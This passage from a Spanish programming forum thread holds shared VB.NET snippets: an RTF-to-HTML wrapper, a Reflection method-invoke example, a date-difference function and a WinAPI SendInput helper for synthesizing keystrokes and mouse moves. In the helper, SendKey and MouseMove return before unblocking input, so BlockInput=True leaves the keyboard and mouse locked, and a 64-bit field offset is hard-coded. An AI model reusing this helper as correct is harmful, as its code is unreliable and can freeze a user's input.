  592.    ''' <returns>System.String.</returns>
  593.    Public Shared Function Rtf2Html(ByVal RtfText As String,
  594.                                    Optional ByVal OutputFormat As RtfToHtml.eOutputFormat = RtfToHtml.eOutputFormat.XHTML_10,
  595.                                    Optional ByVal TextEncoding As RtfToHtml.eEncoding = RtfToHtml.eEncoding.UTF_8,
  596.                                    Optional ByVal SaveImagesToDisk As Boolean = False,
  597.                                    Optional ByVal ImageFolder As String = "C:\") As String
  598.  
  599.        Return RtfToHtmlConvert(RtFText, OutputFormat, TextEncoding, SaveImagesToDisk, ImageFolder)
  600.  
  601.    End Function
  602.  
  603. #End Region
  604.  
  605. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 21 Febrero 2014, 03:59 am
Ejemplo de como encontrar e invocar un método usando Reflection, si solo tenemos un String que contiene el nombre del método, y como pasarle un parámetro nulo al invocar.

Código
  1. Imports System.Reflection
  2. Imports System.Globalization
  3.  
  4. Public Class Form1
  5.  
  6.    Private Shadows Sub Load() Handles MyBase.Load
  7.  
  8.        Dim MethodName As String = "Test"
  9.  
  10.        Dim Method As MethodInfo =
  11.            Me.GetType().GetMethod(MethodName, BindingFlags.IgnoreCase Or BindingFlags.Instance Or
  12.                                               BindingFlags.Public Or BindingFlags.NonPublic)
  13.  
  14.        If Method IsNot Nothing Then
  15.            Method.Invoke(Me, BindingFlags.IgnoreCase Or BindingFlags.Instance Or
  16.                              BindingFlags.Public Or BindingFlags.NonPublic,
  17.                          Nothing,
  18.                          New Object() {"Hello World!", Type.Missing}, CultureInfo.InvariantCulture)
  19.  
  20.        Else
  21.            MsgBox("Method not found.")
  22.  
  23.        End If
  24.  
  25.    End Sub
  26.  
  27.    Private Sub Test(ByVal StringValue As String, Optional ByVal IntValue As Integer = 1)
  28.        MessageBox.Show(StringValue & IntValue)
  29.    End Sub
  30.  
  31. End Class



Un DateDifference personalizado:

Código
  1.    ' Date Difference
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples :
  5.    '
  6.    ' MsgBox(DateDifference(DateTime.Parse("01/03/2013 00:00:00"),
  7.    '                       DateTime.Parse("09/04/2014 01:01:01"),
  8.    '                       "{0} Year(s), {1} Month(s), {2} Week(s), {3} Day(s), {4} Hour(s), {5} Minute(s) and {6} Second(s)"))
  9.  
  10.    ''' <summary>
  11.    ''' Shows the difference between two dates with custom string format.
  12.    ''' </summary>
  13.    ''' <param name="Date1">Indicates the first date to compare.</param>
  14.    ''' <param name="Date2">Indicates the second date to compare.</param>
  15.    ''' <param name="StringFormat">
  16.    ''' Indicates the string format to display the difference, where:
  17.    ''' {0} = Years, {1} = Months, {2} = Weeks, {3} = Days, {4} = Hours, {5} = Minutes and {6} = Seconds</param>
  18.    ''' <returns>System.String.</returns>
  19.    Private Function DateDifference(ByVal Date1 As DateTime,
  20.                                    ByVal Date2 As DateTime,
  21.                                    ByVal StringFormat As String) As String
  22.  
  23.        Dim Time As TimeSpan
  24.        Dim YearDiff As Integer, MonthDiff As Integer, WeekDiff As Integer
  25.  
  26.        Do Until Date1 > Date2
  27.  
  28.            Date1 = Date1.AddMonths(1)
  29.            MonthDiff += 1
  30.  
  31.            If MonthDiff = 12 Then
  32.                YearDiff += 1
  33.                MonthDiff = 0
  34.            End If
  35.  
  36.        Loop
  37.  
  38.        MonthDiff -= 1
  39.        Date1 = Date1.AddMonths(-1)
  40.        Time = (Date2 - Date1)
  41.        WeekDiff = (Time.Days \ 7)
  42.        Time = (Time - TimeSpan.FromDays(WeekDiff * 7))
  43.  
  44.        Return String.Format(StringFormat, YearDiff, MonthDiff, WeekDiff, Time.Days, Time.Hours, Time.Minutes, Time.Seconds)
  45.  
  46.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 21 Febrero 2014, 12:18 pm
Un helper class para el método SendInput de la WinAPI

Cita de: http://msdn.microsoft.com/en-us/library/windows/desktop/ms646310%28v=vs.85%29.aspx
Synthesizes keystrokes, mouse motions, and button clicks.

PD: El método 'sendkeys' no es 100% perfecto con caracteres especiales como la 'Ñ', pero tampoco lo voy a elaborar más por el momento,ya que es un coñazo por los distintos layouts del teclado.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 02-21-2014
  4. ' ***********************************************************************
  5. ' <copyright file="SendInputs.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Private Sub Test() Handles Button1.Click
  13.  
  14. ' AppActivate(Process.GetProcessesByName("notepad").First.Id)
  15.  
  16. ' Dim c As Char = Convert.ToChar(Keys.Oemtilde) ' Ñ
  17. ' Dim Result As Integer = SendInputs.SendKey(Convert.ToChar(c.ToString.ToLower))
  18. ' MessageBox.Show(String.Format("Successfull events: {0}", CStr(Result)))
  19.  
  20. ' SendInputs.SendKey(Keys.Enter)
  21. ' SendInputs.SendKey(Convert.ToChar(Keys.Back))
  22. ' SendInputs.SendKeys("Hello World", True)
  23. ' SendInputs.SendKey(Convert.ToChar(Keys.D0))
  24. ' SendInputs.SendKeys(Keys.Insert, BlockInput:=True)
  25.  
  26. ' SendInputs.MouseClick(SendInputs.MouseButton.RightPress, False)
  27. ' SendInputs.MouseMove(5, -5)
  28. ' SendInputs.MousePosition(New Point(100, 500))
  29.  
  30. 'End Sub
  31.  
  32. #End Region
  33.  
  34. #Region " Imports "
  35.  
  36. Imports System.Runtime.InteropServices
  37. Imports System.ComponentModel
  38.  
  39. #End Region
  40.  
  41. ''' <summary>
  42. ''' Synthesizes keystrokes, mouse motions, and button clicks.
  43. ''' </summary>
  44. Public Class SendInputs
  45.  
  46. #Region " P/Invoke "
  47.  
  48.    Friend Class NativeMethods
  49.  
  50. #Region " Methods "
  51.  
  52.        ''' <summary>
  53.        ''' Blocks keyboard and mouse input events from reaching applications.
  54.        ''' For more info see here:
  55.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646290%28v=vs.85%29.aspx
  56.        ''' </summary>
  57.        ''' <param name="fBlockIt">
  58.        ''' The function's purpose.
  59.        ''' If this parameter is 'TRUE', keyboard and mouse input events are blocked.
  60.        ''' If this parameter is 'FALSE', keyboard and mouse events are unblocked.
  61.        ''' </param>
  62.        ''' <returns>
  63.        ''' If the function succeeds, the return value is nonzero.
  64.        ''' If input is already blocked, the return value is zero.
  65.        ''' </returns>
  66.        ''' <remarks>
  67.        ''' Note that only the thread that blocked input can successfully unblock input.
  68.        ''' </remarks>
  69.        <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall,
  70.        SetLastError:=True)>
  71.        Friend Shared Function BlockInput(
  72.               ByVal fBlockIt As Boolean
  73.        ) As Integer
  74.        End Function
  75.  
  76.        ''' <summary>
  77.        ''' Synthesizes keystrokes, mouse motions, and button clicks.
  78.        ''' For more info see here:
  79.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646310%28v=vs.85%29.aspx
  80.        ''' </summary>
  81.        ''' <param name="nInputs">
  82.        ''' Indicates the number of structures in the pInputs array.
  83.        ''' </param>
  84.        ''' <param name="pInputs">
  85.        ''' Indicates an Array of 'INPUT' structures.
  86.        ''' Each structure represents an event to be inserted into the keyboard or mouse input stream.
  87.        ''' </param>
  88.        ''' <param name="cbSize">
  89.        ''' The size, in bytes, of an 'INPUT' structure.
  90.        ''' If 'cbSize' is not the size of an 'INPUT' structure, the function fails.
  91.        ''' </param>
  92.        ''' <returns>
  93.        ''' The function returns the number of events that it successfully
  94.        ''' inserted into the keyboard or mouse input stream.
  95.        ''' If the function returns zero, the input was already blocked by another thread.
  96.        ''' </returns>
  97.        <DllImport("user32.dll", SetLastError:=True)>
  98.        Friend Shared Function SendInput(
  99.               ByVal nInputs As Integer,
  100.               <MarshalAs(UnmanagedType.LPArray), [In]> ByVal pInputs As INPUT(),
  101.               ByVal cbSize As Integer
  102.        ) As Integer
  103.        End Function
  104.  
  105. #End Region
  106.  
  107. #Region " Enumerations "
  108.  
  109.        ''' <summary>
  110.        ''' VirtualKey codes.
  111.        ''' </summary>
  112.        Friend Enum VirtualKeys As Short
  113.  
  114.            ''' <summary>
  115.            ''' The Shift key.
  116.            ''' VK_SHIFT
  117.            ''' </summary>
  118.            SHIFT = &H10S
  119.  
  120.            ''' <summary>
  121.            ''' The DEL key.
  122.            ''' VK_DELETE
  123.            ''' </summary>
  124.            DELETE = 46S
  125.  
  126.            ''' <summary>
  127.            ''' The ENTER key.
  128.            ''' VK_RETURN
  129.            ''' </summary>
  130.            [RETURN] = 13S
  131.  
  132.        End Enum
  133.  
  134.        ''' <summary>
  135.        ''' The type of the input event.
  136.        ''' For more info see here:
  137.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646270%28v=vs.85%29.aspx
  138.        ''' </summary>
  139.        <Description("Enumeration used for 'type' parameter of 'INPUT' structure")>
  140.        Friend Enum InputType As Integer
  141.  
  142.            ''' <summary>
  143.            ''' The event is a mouse event.
  144.            ''' Use the mi structure of the union.
  145.            ''' </summary>
  146.            Mouse = 0
  147.  
  148.            ''' <summary>
  149.            ''' The event is a keyboard event.
  150.            ''' Use the ki structure of the union.
  151.            ''' </summary>
  152.            Keyboard = 1
  153.  
  154.            ''' <summary>
  155.            ''' The event is a hardware event.
  156.            ''' Use the hi structure of the union.
  157.            ''' </summary>
  158.            Hardware = 2
  159.  
  160.        End Enum
  161.  
  162.        ''' <summary>
  163.        ''' Specifies various aspects of a keystroke.
  164.        ''' This member can be certain combinations of the following values.
  165.        ''' For more info see here:
  166.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646271%28v=vs.85%29.aspx
  167.        ''' </summary>
  168.        <Description("Enumeration used for 'dwFlags' parameter of 'KeyboardInput' structure")>
  169.        <Flags>
  170.        Friend Enum KeyboardInput_Flags As Integer
  171.  
  172.            ''' <summary>
  173.            ''' If specified, the scan code was preceded by a prefix byte that has the value '0xE0' (224).
  174.            ''' </summary>
  175.            ExtendedKey = &H1
  176.  
  177.            ''' <summary>
  178.            ''' If specified, the key is being pressed.
  179.            ''' </summary>
  180.            KeyDown = &H0
  181.  
  182.            ''' <summary>
  183.            ''' If specified, the key is being released.
  184.            ''' If not specified, the key is being pressed.
  185.            ''' </summary>
  186.            KeyUp = &H2
  187.  
  188.            ''' <summary>
  189.            ''' If specified, 'wScan' identifies the key and 'wVk' is ignored.
  190.            ''' </summary>
  191.            ScanCode = &H8
  192.  
  193.            ''' <summary>
  194.            ''' If specified, the system synthesizes a 'VK_PACKET' keystroke.
  195.            ''' The 'wVk' parameter must be '0'.
  196.            ''' This flag can only be combined with the 'KEYEVENTF_KEYUP' flag.
  197.            ''' </summary>
  198.            Unicode = &H4
  199.  
  200.        End Enum
  201.  
  202.        ''' <summary>
  203.        ''' A set of bit flags that specify various aspects of mouse motion and button clicks.
  204.        ''' The bits in this member can be any reasonable combination of the following values.
  205.        ''' For more info see here:
  206.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646273%28v=vs.85%29.aspx
  207.        ''' </summary>
  208.        <Description("Enumeration used for 'dwFlags' parameter of 'MouseInput' structure")>
  209.        <Flags>
  210.        Friend Enum MouseInput_Flags As Integer
  211.  
  212.            ''' <summary>
  213.            ''' The 'dx' and 'dy' members contain normalized absolute coordinates.
  214.            ''' If the flag is not set, 'dx' and 'dy' contain relative data
  215.            ''' (the change in position since the last reported position).
  216.            ''' This flag can be set, or not set,
  217.            ''' regardless of what kind of mouse or other pointing device, if any, is connected to the system.
  218.            ''' </summary>
  219.            Absolute = &H8000I
  220.  
  221.            ''' <summary>
  222.            ''' Movement occurred.
  223.            ''' </summary>
  224.            Move = &H1I
  225.  
  226.            ''' <summary>
  227.            ''' The 'WM_MOUSEMOVE' messages will not be coalesced.
  228.            ''' The default behavior is to coalesce 'WM_MOUSEMOVE' messages.
  229.            ''' </summary>
  230.            Move_NoCoalesce = &H2000I
  231.  
  232.            ''' <summary>
  233.            ''' The left button was pressed.
  234.            ''' </summary>
  235.            LeftDown = &H2I
  236.  
  237.            ''' <summary>
  238.            ''' The left button was released.
  239.            ''' </summary>
  240.            LeftUp = &H4I
  241.  
  242.            ''' <summary>
  243.            ''' The right button was pressed.
  244.            ''' </summary>
  245.            RightDown = &H8I
  246.  
  247.            ''' <summary>
  248.            ''' The right button was released.
  249.            ''' </summary>
  250.            RightUp = &H10I
  251.  
  252.            ''' <summary>
  253.            ''' The middle button was pressed.
  254.            ''' </summary>
  255.            MiddleDown = &H20I
  256.  
  257.            ''' <summary>
  258.            ''' The middle button was released.
  259.            ''' </summary>
  260.            MiddleUp = &H40I
  261.  
  262.            ''' <summary>
  263.            ''' Maps coordinates to the entire desktop.
  264.            ''' Must be used in combination with 'Absolute'.
  265.            ''' </summary>
  266.            VirtualDesk = &H4000I
  267.  
  268.            ''' <summary>
  269.            ''' The wheel was moved, if the mouse has a wheel.
  270.            ''' The amount of movement is specified in 'mouseData'.
  271.            ''' </summary>
  272.            Wheel = &H800I
  273.  
  274.            ''' <summary>
  275.            ''' The wheel was moved horizontally, if the mouse has a wheel.
  276.            ''' The amount of movement is specified in 'mouseData'.
  277.            ''' </summary>
  278.            HWheel = &H1000I
  279.  
  280.            ''' <summary>
  281.            ''' An X button was pressed.
  282.            ''' </summary>
  283.            XDown = &H80I
  284.  
  285.            ''' <summary>
  286.            ''' An X button was released.
  287.            ''' </summary>
  288.            XUp = &H100I
  289.  
  290.        End Enum
  291.  
  292. #End Region
  293.  
  294. #Region " Structures "
  295.  
  296.        ''' <summary>
  297.        ''' Used by 'SendInput' function
  298.        ''' to store information for synthesizing input events such as keystrokes, mouse movement, and mouse clicks.
  299.        ''' For more info see here:
  300.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646270%28v=vs.85%29.aspx
  301.        ''' </summary>
  302.        <Description("Structure used for 'INPUT' parameter of 'SendInput' API method")>
  303.        <StructLayout(LayoutKind.Explicit)>
  304.        Friend Structure Input
  305.  
  306.            ' ******
  307.            '  NOTE
  308.            ' ******
  309.            ' Field offset for 32 bit machine: 4
  310.            ' Field offset for 64 bit machine: 8
  311.  
  312.            ''' <summary>
  313.            ''' The type of the input event.
  314.            ''' </summary>
  315.            <FieldOffset(0)>
  316.            Public type As InputType
  317.  
  318.            ''' <summary>
  319.            ''' The information about a simulated mouse event.
  320.            ''' </summary>
  321.            <FieldOffset(8)>
  322.            Public mi As MouseInput
  323.  
  324.            ''' <summary>
  325.            ''' The information about a simulated keyboard event.
  326.            ''' </summary>
  327.            <FieldOffset(8)>
  328.            Public ki As KeyboardInput
  329.  
  330.            ''' <summary>
  331.            ''' The information about a simulated hardware event.
  332.            ''' </summary>
  333.            <FieldOffset(8)>
  334.            Public hi As HardwareInput
  335.  
  336.        End Structure
  337.  
  338.        ''' <summary>
  339.        ''' Contains information about a simulated mouse event.
  340.        ''' For more info see here:
  341.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646273%28v=vs.85%29.aspx
  342.        ''' </summary>
  343.        <Description("Structure used for 'mi' parameter of 'INPUT' structure")>
  344.        Friend Structure MouseInput
  345.  
  346.            ''' <summary>
  347.            ''' The absolute position of the mouse,
  348.            ''' or the amount of motion since the last mouse event was generated,
  349.            ''' depending on the value of the dwFlags member.
  350.            ''' Absolute data is specified as the 'x' coordinate of the mouse;
  351.            ''' relative data is specified as the number of pixels moved.
  352.            ''' </summary>
  353.            Public dx As Integer
  354.  
  355.            ''' <summary>
  356.            ''' The absolute position of the mouse,
  357.            ''' or the amount of motion since the last mouse event was generated,
  358.            ''' depending on the value of the dwFlags member.
  359.            ''' Absolute data is specified as the 'y' coordinate of the mouse;
  360.            ''' relative data is specified as the number of pixels moved.
  361.            ''' </summary>
  362.            Public dy As Integer
  363.  
  364.            ''' <summary>
  365.            ''' If 'dwFlags' contains 'MOUSEEVENTF_WHEEL',
  366.            ''' then 'mouseData' specifies the amount of wheel movement.
  367.            ''' A positive value indicates that the wheel was rotated forward, away from the user;
  368.            ''' a negative value indicates that the wheel was rotated backward, toward the user.
  369.            ''' One wheel click is defined as 'WHEEL_DELTA', which is '120'.
  370.            '''
  371.            ''' If 'dwFlags' does not contain 'MOUSEEVENTF_WHEEL', 'MOUSEEVENTF_XDOWN', or 'MOUSEEVENTF_XUP',
  372.            ''' then mouseData should be '0'.
  373.            ''' </summary>
  374.            Public mouseData As Integer
  375.  
  376.            ''' <summary>
  377.            ''' A set of bit flags that specify various aspects of mouse motion and button clicks.
  378.            ''' The bits in this member can be any reasonable combination of the following values.
  379.            ''' The bit flags that specify mouse button status are set to indicate changes in status,
  380.            ''' not ongoing conditions.
  381.            ''' For example, if the left mouse button is pressed and held down,
  382.            ''' 'MOUSEEVENTF_LEFTDOWN' is set when the left button is first pressed,
  383.            ''' but not for subsequent motions.
  384.            ''' Similarly, 'MOUSEEVENTF_LEFTUP' is set only when the button is first released.
  385.            '''
  386.            ''' You cannot specify both the 'MOUSEEVENTF_WHEE'L flag
  387.            ''' and either 'MOUSEEVENTF_XDOWN' or 'MOUSEEVENTF_XUP' flags simultaneously in the 'dwFlags' parameter,
  388.            ''' because they both require use of the 'mouseData' field.
  389.            ''' </summary>
  390.            Public dwFlags As MouseInput_Flags
  391.  
  392.            ''' <summary>
  393.            ''' The time stamp for the event, in milliseconds.
  394.            ''' If this parameter is '0', the system will provide its own time stamp.
  395.            ''' </summary>
  396.            Public time As Integer
  397.  
  398.            ''' <summary>
  399.            ''' An additional value associated with the mouse event.
  400.            ''' An application calls 'GetMessageExtraInfo' to obtain this extra information.
  401.            ''' </summary>
  402.            Public dwExtraInfo As IntPtr
  403.  
  404.        End Structure
  405.  
  406.        ''' <summary>
  407.        ''' Contains information about a simulated keyboard event.
  408.        ''' For more info see here:
  409.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646271%28v=vs.85%29.aspx
  410.        ''' </summary>
  411.        <Description("Structure used for 'ki' parameter of 'INPUT' structure")>
  412.        Friend Structure KeyboardInput
  413.  
  414.            ''' <summary>
  415.            ''' A virtual-key code.
  416.            ''' The code must be a value in the range '1' to '254'.
  417.            ''' If the 'dwFlags' member specifies 'KEYEVENTF_UNICODE', wVk must be '0'.
  418.            ''' </summary>
  419.            Public wVk As Short
  420.  
  421.            ''' <summary>
  422.            ''' A hardware scan code for the key.
  423.            ''' If 'dwFlags' specifies 'KEYEVENTF_UNICODE',
  424.            ''' 'wScan' specifies a Unicode character which is to be sent to the foreground application.
  425.            ''' </summary>
  426.            Public wScan As Short
  427.  
  428.            ''' <summary>
  429.            ''' Specifies various aspects of a keystroke.
  430.            ''' </summary>
  431.            Public dwFlags As KeyboardInput_Flags
  432.  
  433.            ''' <summary>
  434.            ''' The time stamp for the event, in milliseconds.
  435.            ''' If this parameter is '0', the system will provide its own time stamp.
  436.            ''' </summary>
  437.            Public time As Integer
  438.  
  439.            ''' <summary>
  440.            ''' An additional value associated with the keystroke.
  441.            ''' Use the 'GetMessageExtraInfo' function to obtain this information.
  442.            ''' </summary>
  443.            Public dwExtraInfo As IntPtr
  444.  
  445.        End Structure
  446.  
  447.        ''' <summary>
  448.        ''' Contains information about a simulated message generated by an input device other than a keyboard or mouse.
  449.        ''' For more info see here:
  450.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646269%28v=vs.85%29.aspx
  451.        ''' </summary>
  452.        <Description("Structure used for 'hi' parameter of 'INPUT' structure")>
  453.        Friend Structure HardwareInput
  454.  
  455.            ''' <summary>
  456.            ''' The message generated by the input hardware.
  457.            ''' </summary>
  458.            Public uMsg As Integer
  459.  
  460.            ''' <summary>
  461.            ''' The low-order word of the lParam parameter for uMsg.
  462.            ''' </summary>
  463.            Public wParamL As Short
  464.  
  465.            ''' <summary>
  466.            ''' The high-order word of the lParam parameter for uMsg.
  467.            ''' </summary>
  468.            Public wParamH As Short
  469.  
  470.        End Structure
  471.  
  472. #End Region
  473.  
  474.    End Class
  475.  
  476. #End Region
  477.  
  478. #Region " Enumerations "
  479.  
  480.    ''' <summary>
  481.    ''' Indicates a mouse button.
  482.    ''' </summary>
  483.    <Description("Enumeration used for 'MouseAction' parameter of 'MouseClick' function.")>
  484.    Public Enum MouseButton As Integer
  485.  
  486.        ''' <summary>
  487.        ''' Hold the left button.
  488.        ''' </summary>
  489.        LeftDown = &H2I
  490.  
  491.        ''' <summary>
  492.        ''' Release the left button.
  493.        ''' </summary>
  494.        LeftUp = &H4I
  495.  
  496.        ''' <summary>
  497.        ''' Hold the right button.
  498.        ''' </summary>
  499.        RightDown = &H8I
  500.  
  501.        ''' <summary>
  502.        ''' Release the right button.
  503.        ''' </summary>
  504.        RightUp = &H10I
  505.  
  506.        ''' <summary>
  507.        ''' Hold the middle button.
  508.        ''' </summary>
  509.        MiddleDown = &H20I
  510.  
  511.        ''' <summary>
  512.        ''' Release the middle button.
  513.        ''' </summary>
  514.        MiddleUp = &H40I
  515.  
  516.        ''' <summary>
  517.        ''' Press the left button.
  518.        ''' ( Hold + Release )
  519.        ''' </summary>
  520.        LeftPress = LeftDown + LeftUp
  521.  
  522.        ''' <summary>
  523.        ''' Press the Right button.
  524.        ''' ( Hold + Release )
  525.        ''' </summary>
  526.        RightPress = RightDown + RightUp
  527.  
  528.        ''' <summary>
  529.        ''' Press the Middle button.
  530.        ''' ( Hold + Release )
  531.        ''' </summary>
  532.        MiddlePress = MiddleDown + MiddleUp
  533.  
  534.    End Enum
  535.  
  536. #End Region
  537.  
  538. #Region " Public Methods "
  539.  
  540.    ''' <summary>
  541.    ''' Sends a keystroke.
  542.    ''' </summary>
  543.    ''' <param name="key">
  544.    ''' Indicates the keystroke to simulate.
  545.    ''' </param>
  546.    ''' <param name="BlockInput">
  547.    ''' If set to <c>true</c>, the keyboard and mouse are blocked until the keystroke is sent.
  548.    ''' </param>
  549.    ''' <returns>
  550.    ''' The function returns the number of events that it successfully inserted into the keyboard input stream.
  551.    ''' If the function returns zero, the input was already blocked by another thread.
  552.    ''' </returns>
  553.    Public Shared Function SendKey(ByVal key As Char,
  554.                                   Optional BlockInput As Boolean = False) As Integer
  555.  
  556.        ' Block Keyboard and mouse.
  557.        If BlockInput Then NativeMethods.BlockInput(True)
  558.  
  559.        ' The inputs structures to send.
  560.        Dim Inputs As New List(Of NativeMethods.INPUT)
  561.  
  562.        ' The current input to add into the Inputs list.
  563.        Dim CurrentInput As New NativeMethods.INPUT
  564.  
  565.        ' Determines whether a character is an alphabetic letter.
  566.        Dim IsAlphabetic As Boolean = Not (key.ToString.ToUpper = key.ToString.ToLower)
  567.  
  568.        ' Determines whether a character is an uppercase alphabetic letter.
  569.        Dim IsUpperCase As Boolean =
  570.            (key.ToString = key.ToString.ToUpper) AndAlso Not (key.ToString.ToUpper = key.ToString.ToLower)
  571.  
  572.        ' Determines whether the CapsLock key is pressed down.
  573.        Dim CapsLockON As Boolean = My.Computer.Keyboard.CapsLock
  574.  
  575.        ' Set the passed key to upper-case.
  576.        If IsAlphabetic AndAlso Not IsUpperCase Then
  577.            key = Convert.ToChar(key.ToString.ToUpper)
  578.        End If
  579.  
  580.        ' If character is alphabetic and is UpperCase and CapsLock is pressed down,
  581.        ' OrElse character is alphabetic and is not UpperCase and CapsLock is not pressed down,
  582.        ' OrElse character is not alphabetic.
  583.        If (IsAlphabetic AndAlso IsUpperCase AndAlso CapsLockON) _
  584.        OrElse (IsAlphabetic AndAlso Not IsUpperCase AndAlso Not CapsLockON) _
  585.        OrElse (Not IsAlphabetic) Then
  586.  
  587.            ' Hold the character key.
  588.            With CurrentInput
  589.                .type = NativeMethods.InputType.Keyboard
  590.                .ki.wVk = Convert.ToInt16(CChar(key))
  591.                .ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyDown
  592.            End With : Inputs.Add(CurrentInput)
  593.  
  594.            ' Release the character key.
  595.            With CurrentInput
  596.                .type = NativeMethods.InputType.Keyboard
  597.                .ki.wVk = Convert.ToInt16(CChar(key))
  598.                .ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyUp
  599.            End With : Inputs.Add(CurrentInput)
  600.  
  601.            ' If character is alphabetic and is UpperCase and CapsLock is not pressed down,
  602.            ' OrElse character is alphabetic and is not UpperCase and CapsLock is pressed down.
  603.        ElseIf (IsAlphabetic AndAlso IsUpperCase AndAlso Not CapsLockON) _
  604.        OrElse (IsAlphabetic AndAlso Not IsUpperCase AndAlso CapsLockON) Then
  605.  
  606.            ' Hold the Shift key.
  607.            With CurrentInput
  608.                .type = NativeMethods.InputType.Keyboard
  609.                .ki.wVk = NativeMethods.VirtualKeys.SHIFT
  610.                .ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyDown
  611.            End With : Inputs.Add(CurrentInput)
  612.  
  613.            ' Hold the character key.
  614.            With CurrentInput
  615.                .type = NativeMethods.InputType.Keyboard
  616.                .ki.wVk = Convert.ToInt16(CChar(key))
  617.                .ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyDown
  618.            End With : Inputs.Add(CurrentInput)
  619.  
  620.            ' Release the character key.
  621.            With CurrentInput
  622.                .type = NativeMethods.InputType.Keyboard
  623.                .ki.wVk = Convert.ToInt16(CChar(key))
  624.                .ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyUp
  625.            End With : Inputs.Add(CurrentInput)
  626.  
  627.            ' Release the Shift key.
  628.            With CurrentInput
  629.                .type = NativeMethods.InputType.Keyboard
  630.                .ki.wVk = NativeMethods.VirtualKeys.SHIFT
  631.                .ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyUp
  632.            End With : Inputs.Add(CurrentInput)
  633.  
  634.        End If ' UpperCase And My.Computer.Keyboard.CapsLock is...
  635.  
  636.        ' Send the input key.
  637.        Return NativeMethods.SendInput(Inputs.Count, Inputs.ToArray,
  638.                                       Marshal.SizeOf(GetType(NativeMethods.Input)))
  639.  
  640.        ' Unblock Keyboard and mouse.
  641.        If BlockInput Then NativeMethods.BlockInput(False)
  642.  
  643.    End Function
  644.  
  645.    ''' <summary>
  646.    ''' Sends a keystroke.
  647.    ''' </summary>
  648.    ''' <param name="key">
  649.    ''' Indicates the keystroke to simulate.
  650.    ''' </param>
  651.    ''' <param name="BlockInput">
  652.    ''' If set to <c>true</c>, the keyboard and mouse are blocked until the keystroke is sent.
  653.    ''' </param>
  654.    ''' <returns>
  655.    ''' The function returns the number of events that it successfully inserted into the keyboard input stream.
  656.    ''' If the function returns zero, the input was already blocked by another thread.
  657.    ''' </returns>
  658.    Public Shared Function SendKey(ByVal key As Keys,
  659.                                   Optional BlockInput As Boolean = False) As Integer
  660.  
  661.        Return SendKey(Convert.ToChar(key), BlockInput)
  662.  
  663.    End Function
  664.  
  665.    ''' <summary>
  666.    ''' Sends a string.
  667.    ''' </summary>
  668.    ''' <param name="String">
  669.    ''' Indicates the string to send.
  670.    ''' </param>
  671.    ''' <param name="BlockInput">
  672.    ''' If set to <c>true</c>, the keyboard and mouse are blocked until the keystroke is sent.
  673.    ''' </param>
  674.    ''' <returns>
  675.    ''' The function returns the number of events that it successfully inserted into the keyboard input stream.
  676.    ''' If the function returns zero, the input was already blocked by another thread.
  677.    ''' </returns>
  678.    Public Shared Function SendKeys(ByVal [String] As String,
  679.                                    Optional BlockInput As Boolean = False) As Integer
  680.  
  681.        Dim SuccessCount As Integer = 0
  682.  
  683.        ' Block Keyboard and mouse.
  684.        If BlockInput Then NativeMethods.BlockInput(True)
  685.  
  686.        For Each c As Char In [String]
  687.            SuccessCount += SendKey(c, BlockInput:=False)
  688.        Next c
  689.  
  690.        ' Unblock Keyboard and mouse.
  691.        If BlockInput Then NativeMethods.BlockInput(False)
  692.  
  693.        Return SuccessCount
  694.  
  695.    End Function
  696.  
  697.    ''' <summary>
  698.    ''' Slices the mouse position.
  699.    ''' </summary>
  700.    ''' <param name="Offset">
  701.    ''' Indicates the offset, in coordinates.
  702.    ''' </param>
  703.    ''' <param name="BlockInput">
  704.    ''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
  705.    ''' </param>
  706.    ''' <returns>
  707.    ''' The function returns the number of events that it successfully inserted into the mouse input stream.
  708.    ''' If the function returns zero, the input was already blocked by another thread.
  709.    ''' </returns>
  710.    Public Shared Function MouseMove(ByVal Offset As Point,
  711.                                     Optional BlockInput As Boolean = False) As Integer
  712.  
  713.        ' Block Keyboard and mouse.
  714.        If BlockInput Then NativeMethods.BlockInput(True)
  715.  
  716.        ' The inputs structures to send.
  717.        Dim Inputs As New List(Of NativeMethods.Input)
  718.  
  719.        ' The current input to add into the Inputs list.
  720.        Dim CurrentInput As New NativeMethods.Input
  721.  
  722.        ' Add a mouse movement.
  723.        With CurrentInput
  724.            .type = NativeMethods.InputType.Mouse
  725.            .mi.dx = Offset.X
  726.            .mi.dy = Offset.Y
  727.            .mi.dwFlags = NativeMethods.MouseInput_Flags.Move
  728.        End With : Inputs.Add(CurrentInput)
  729.  
  730.        ' Send the mouse movement.
  731.        Return NativeMethods.SendInput(Inputs.Count, Inputs.ToArray,
  732.                                       Marshal.SizeOf(GetType(NativeMethods.Input)))
  733.  
  734.        ' Unblock Keyboard and mouse.
  735.        If BlockInput Then NativeMethods.BlockInput(False)
  736.  
  737.    End Function
  738.  
  739.    ''' <summary>
  740.    ''' Slices the mouse position.
  741.    ''' </summary>
  742.    ''' <param name="X">
  743.    ''' Indicates the 'X' offset.
  744.    ''' </param>
  745.    ''' <param name="Y">
  746.    ''' Indicates the 'Y' offset.
  747.    ''' </param>
  748.    ''' <param name="BlockInput">
  749.    ''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
  750.    ''' </param>
